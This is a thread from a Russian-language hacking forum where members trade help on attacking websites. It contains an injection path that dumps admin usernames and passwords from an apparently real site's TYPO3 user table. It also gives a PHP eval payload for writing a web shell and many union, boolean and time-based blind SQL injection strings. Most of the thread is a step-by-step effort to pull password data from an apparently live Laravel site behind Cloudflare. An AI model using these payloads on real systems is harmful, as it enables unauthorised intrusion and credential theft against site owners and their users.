Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. neur0funk

    neur0funk Member

    Joined:
    9 May 2018
    Messages:
    22
    Likes Received:
    18
    Reputations:
    12
    /sozialrecht/publikationen/detail/publication/a'=(extractvalue(0x0a,concat(0x0a,(select(group_concat(concat_ws(0x3a,username,password)))from(be_users)))))='a/

    a'=(extractvalue(0x0a,concat(0x0a,(select(group_concat(substring(password,20,30)))from(be_users)where(username='rtisch')))))='a/
     
    #2821 neur0funk, 31 Mar 2020
    Last edited: 31 Mar 2020
    DezMond™ likes this.
  2. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    Хочу логировать все POST запросы к серверу, есть ли такая возможность без рута? Аналог tcpdump или какие-нибудь другие методы
     
  3. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    630
    Likes Received:
    1,050
    Reputations:
    47
    Мониторинг трафика требует прямого обращение к сетевому интерфейсу и потому права рута (ну или права группы netdev). Возможно настроить апач/nginx что-бы они все сливали в лог. Вариант номер 3 это приписать логирование в приложение.
     
    pinch likes this.
  4. holdik

    holdik New Member

    Joined:
    4 Nov 2017
    Messages:
    13
    Likes Received:
    4
    Reputations:
    2
    Имеется RCE eval($e), скачивание извне запрещены, system passthru и тд запрещено. Какие варианты залить Шелл? Отблагодарю
     
  5. neur0funk

    neur0funk Member

    Joined:
    9 May 2018
    Messages:
    22
    Likes Received:
    18
    Reputations:
    12
    создать файл, данные постом передать
     
  6. aberkroft

    aberkroft Member

    Joined:
    9 Feb 2020
    Messages:
    43
    Likes Received:
    14
    Reputations:
    3
    Запрещены где ? На хосте или waf-ом ?
     
  7. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    подскажите как заюзать и достать бд
    Code:
    ?search=-")+or+1=1+limit+10--+-
    выодит 10 записей

    Code:
    ?search=-")+order+by+1--+-
    ошибки нет, но при order by 2 ошибка

    Code:
    ?search=-")+union+select+1--+-
    не выводит "1".

    думал там какая то разновидность такого запроса. то есть вероятней всего результат первого запроса (уявимого) передается в WHERE для второго запроса

    Code:
    ids = SELECT id FROM users
    WHERE group="XXXX" AND (name LIKE "%$GET['search']%" OR email LIKE "%$GET['search']%"
    )
    SELECT * FROM users WHERE id IN(ids)
    
    
    сделал запрос типа
    Code:
    ?search=-")+union+select+217--+-
    где 217 это мой id. но результат пустой(
     
    #2827 FireRidlle, 14 May 2020
    Last edited: 14 May 2020
  8. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    506
    Likes Received:
    101
    Reputations:
    25
    Есть новость что воровали банковские данные через иконку сайта, мол иконка выдавалась на всех страницах но на сранице оплаты выдавался js файл keylogger. Это как что за тэг там был что работал и favicon и js?

    https://www.bleepingcomputer.com/ne...te-favicon-to-camouflage-credit-card-skimmer/
     
    #2828 Octavian, 14 May 2020
    Last edited: 14 May 2020
  9. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    апдейт к предыдущему посту.
    Code:
    ") union select 1 -- -
    ошибка нет, 1 не выводит
    Code:
    ") or id=2 union select 1 -- -
    ошибка
     
  10. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    что за ошибка?
     
  11. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    ошибка не бд. просто человекоподобная, типа "Something went wrong"

    небольшие размышления. синтаксис select такой


    Code:
    SELECT [STRAIGHT_JOIN]
    
           [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
    
           [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]
    
           [DISTINCT | DISTINCTROW | ALL]
    
        select_expression,...
    
        [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
    
        [FROM table_references
    
          [WHERE where_definition]
    
          [GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]
    
          [HAVING where_definition]
    
          [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]
    
          [LIMIT [offset,] rows]
    
          [PROCEDURE procedure_name]
    
          [FOR UPDATE | LOCK IN SHARE MODE]]
    когда использую `ORDER BY1` или `LIMIT 1`, то нет ошибок. но при использование `GROUP BY1` ошибка. то есть вроятней иньекция находится после GROUP BY, думаю ок, наверное поиск реализован в HAVING. попробовал `HAVING 1=1`, ошибки нет. но использовать два `HAVING` нельзя
     
    #2831 FireRidlle, 17 May 2020
    Last edited: 17 May 2020
  12. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Code:
    rce=@file_put_contents($_POST[f],$_POST[c]);&f=./filename.php&c=<?php phpinfo(); ?>
    

    Code:
    ")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
    ")*-1 UNION SELECT "'\"\\" -- // если ошибка, значит результат уходит в другой запрос, крутим по обстоятельствам
    ") OR SUBSTRING((SELECT VERSION()),1,1)=5 LIMIT 1 -- // boolean based true, есть вывод чего либо
    ") OR SUBSTRING((SELECT VERSION()),1,1)=1 LIMIT 1 -- // boolean based false, вывода нет
    ") AND IF(SUBSTRING((SELECT VERSION()),1,1)=5,SLEEP(100),SLEEP(0)); -- // крутим time based
    

    Оригинал: https://blog.malwarebytes.com/threat-analysis/2020/05/credit-card-skimmer-masquerades-as-favicon/

    Cервер отдавал JS только при "правильных" реферах, иначе выплёвывалась картинка. Браузер не подгружает левые майм типы для скриптов (script src) и ошибок никаких не возникает. А сделан сей трик, по всей видимости, для затруднения детекта автоматическими сканерами и анализаторами безопасности.

    Статья немного вводит в заблуждение :(
     
    #2832 crlf, 18 May 2020
    Last edited: 18 May 2020
  13. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    Code:
    ")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
    вывода и ошибки нет. но если левый запрос, который перед union вернет хотя бы одну строку то будет ошибка. например
    Code:
    com%")*-1 UNION SELECT 1
    а что значит "*-1" ?
     
  14. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Простое произведение, при котором получается отрицательное значение :)

    Запрос может быть сложный, многострочный, результат уходить в другой запрос, но при этом фильтроваться корректно и т.д. и т.п. Чтоб не гадать на кофейной гуще, можно считать текущий запрос посимвольно, как-то так:

    Code:
    SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"
    
     
    fandor9 and FireRidlle like this.
  15. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    нашел способ быстро крутить запрос по символам
    Code:
    sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
    мб кому то будет полезно))


    нашел запрос (ps: все записал в апперкейсе так как INSTR caseinsensetive и не стал парится по этому поводу)
    Code:
    SELECT
        `USERS`.*,
        (
        SELECT COUNT(*) FROM `USERS` AS `LARAVEL_RESERVED_0`
            WHERE `USERS`.`ID` = `LARAVEL_RESERVED_0`.`REFERRER_ID` AND`LARAVEL_RESERVED_0`.`DELETED_AT` IS NULL
        ) AS `REFERRALS_COUNT`
        FROM `USERS`
        WHERE `REFERRER_ID` = ?  AND(
                `EMAIL` LIKE ? OR `IP` LIKE ?
    OR CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) LIKE "%{INJECTION_HERE}%" OR `id`= ?) AND `USERS`.`DELETED_AT` IS NULL  ORDER BY  `ID` DESC LIMIT 20 OFFSET 0
    
    вместо всех вопросов подставляется $_GET['search'] кроме `REFERRER_ID` = ?
    но уязвивымый только CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) так как он идет в обход prepard statement

    если там многострочный запрос, то думаю так обходить
    Code:
    notfound") union select *, 134 as 'referrals_count' from users where id=1 or (name="
    
    снова ошибка....хотя локально воспроизвел и все ок

    и не могу понять почему `notfound") union select 1 from users where id=1 or (name="` ошибок нет. но если убрать notfound то ошибка

    сайт под cloudflare. мб как то фильтрует

    количество колонок в таблице users = 36. +1 за REFERRALS_COUNT
    попробовал union select 1,2,....37 ---
    ошибка(


    еще немного инфы
    Code:
    ") or 1=1 limit 10 offset 0 -- -
    возвращает первые 10
    Code:
    ") or 1=1 limit 10 offset 1 -- -
    ничего не возвращает
    Code:
    ") or id=(select count(*) from users where id in (1,2,3,4) limit 1)  -- -
    выводит запись под id=4. как так? мозг кипит...
     
    #2835 FireRidlle, 18 May 2020
    Last edited: 19 May 2020
  16. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Советую ознакомиться с техниками которые описаны на rdot.org, там гуру скуль инъекций дожали из блайндов всё что можно и даже больше.

    Конкретно в этом запросе обходить ничего не нужно, инъекция находится в последней строке и многострочность не мешает. Другое дело, когда мы вклиниваемя в подзапрос, к примеру.

    Смею предположить, что запрос не тот, иначе это выглядит как минимум странно :) Каким образом был прочитан текущий запрос? Нужно постараться прочитать именно тот, где внедряется конструкция "UNION SELECT" и в зависимости от логики, найти два состояния, чтоб читать булеевым методом, либо работать по времени. Вот пара абстрактных примеров:

    Code:
    ")*-1 UNION SELECT 1 FROM (SELECT 1)a WHERE SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S" -- 1
    ")*-1 UNION SELECT IF(SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S",SLEEP(2),SLEEP(0)) -- 1
    
     
    fandor9 and erwerr2321 like this.
  17. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    вот так
    Code:
    sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
    

    согласен. но как обьяснить вот это
    Code:
    ?search=com // возвращает строки с `com`
    ?search=qwerty // нет строк с таким вхождением
    com") union select 1 -- - // ошибка
    qwerty") union select 1 -- - // ошиби нет, ничего не возвращает
    
     
  18. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Вполне возможно, что имеет место серия уязвимых к внедрению запросов. И тот который считался, идёт раньше того, в котором совершается выборка одного поля, поэтому, как указал ранее, нужно получить запрос в котором UNION успешно отрабатывает и отталкиваться от него. Но и это, не гарантирует успешного видимого вывода, но понять происходящее лучше, должно помочь.
     
  19. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    спасибо. таки да, есть второй запрос для пагинации
    Code:
    select count(*) as aggregate from `users` where `referrer_id` = ? and ( `email` like ? or `ip` like ? or concat_ws("", last_name, "", name, "midlle_name") like "%inject here%") and `users`.`deleted_at` is null order by  `id` desc limit 20 offset 0
    
    получается если он возвращает 0, то второй запрос (который писал в пред. посте) не выполняется. это вполне обьясняет вот это поведение


    есть варианты как можно обойти ситауцию когда иньекция попадает в два запроса с раным количеством колонок и все же воспользоватся union based


    или мб есть способ как в sql из колонок сделать строки
    Code:
     ") or id in(select ascii(substring(pass,1,1)),ascii(substring(pass,2,1)),ascii(substring(pass,3,1)) from users where id=xxxx) 
     
    #2839 FireRidlle, 20 May 2020
    Last edited: 20 May 2020
  20. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Есть как минимум два уязвимых запроса, а может быть три или больше, случай не простой, есть над чем подумать и развернуться. Стоит посмотреть в сторону фрагментированных инъекций или объединённых запросов, варианты есть и пока они не проверены, утверждать однозначно нельзя. В текущем состоянии дел, всё сильно зависит от окружения, контекста и соответсвенно выбранного вектора атаки. Думаю, что на этом моменте, не имеет смысла описывать абстракные техники, уже не целесообразно, нужно работать с конкретным случаем напрямую.
    Это что касается инъекции, но вполне возможно, что классическая схема SQLi => Admin => RCE, в данном случае будет куда предпочтительнее, чем просто видимая скуля.
     
    FireRidlle likes this.